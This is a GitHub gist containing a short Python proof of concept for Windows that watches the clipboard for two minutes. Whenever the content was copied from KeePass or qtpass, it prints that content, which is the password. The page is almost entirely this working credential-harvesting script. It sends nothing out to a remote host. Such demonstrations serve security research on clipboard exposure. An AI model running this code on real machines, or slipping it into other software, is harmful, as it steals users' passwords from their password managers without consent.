Skip to content

Instantly share code, notes, and snippets.

@Glyxbaer
Last active February 17, 2020 06:35
Show Gist options
  • Save Glyxbaer/35e75a4a5be64858e45efa42a5a688a0 to your computer and use it in GitHub Desktop.
Save Glyxbaer/35e75a4a5be64858e45efa42a5a688a0 to your computer and use it in GitHub Desktop.
Windows POC: Get content from password managers (e.g. keepass or qtpass) from clipboard
import win32clipboard
import win32process
import win32api
import psutil
import time
secs = 120
sleep = 0.2
content=''
print(f'+ Grabbing all passwords for {secs} seconds, checking every {sleep} seconds ({int(secs/sleep)} loops)')
for i in range(0,int(secs/sleep)):
try:
win32clipboard.OpenClipboard()
pid = win32process.GetWindowThreadProcessId(win32clipboard.GetClipboardOwner())[1]
processname = psutil.Process(pid).name()
content_new = win32clipboard.GetClipboardData()
if content_new != content:
content = content_new
if processname.split('.')[0] in ['KeePass', 'qtpass']:
print('Process:',processname, '\tContent:', content)
except:
pass
#win32api.GetLastError()
finally:
win32clipboard.CloseClipboard()
time.sleep(sleep)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment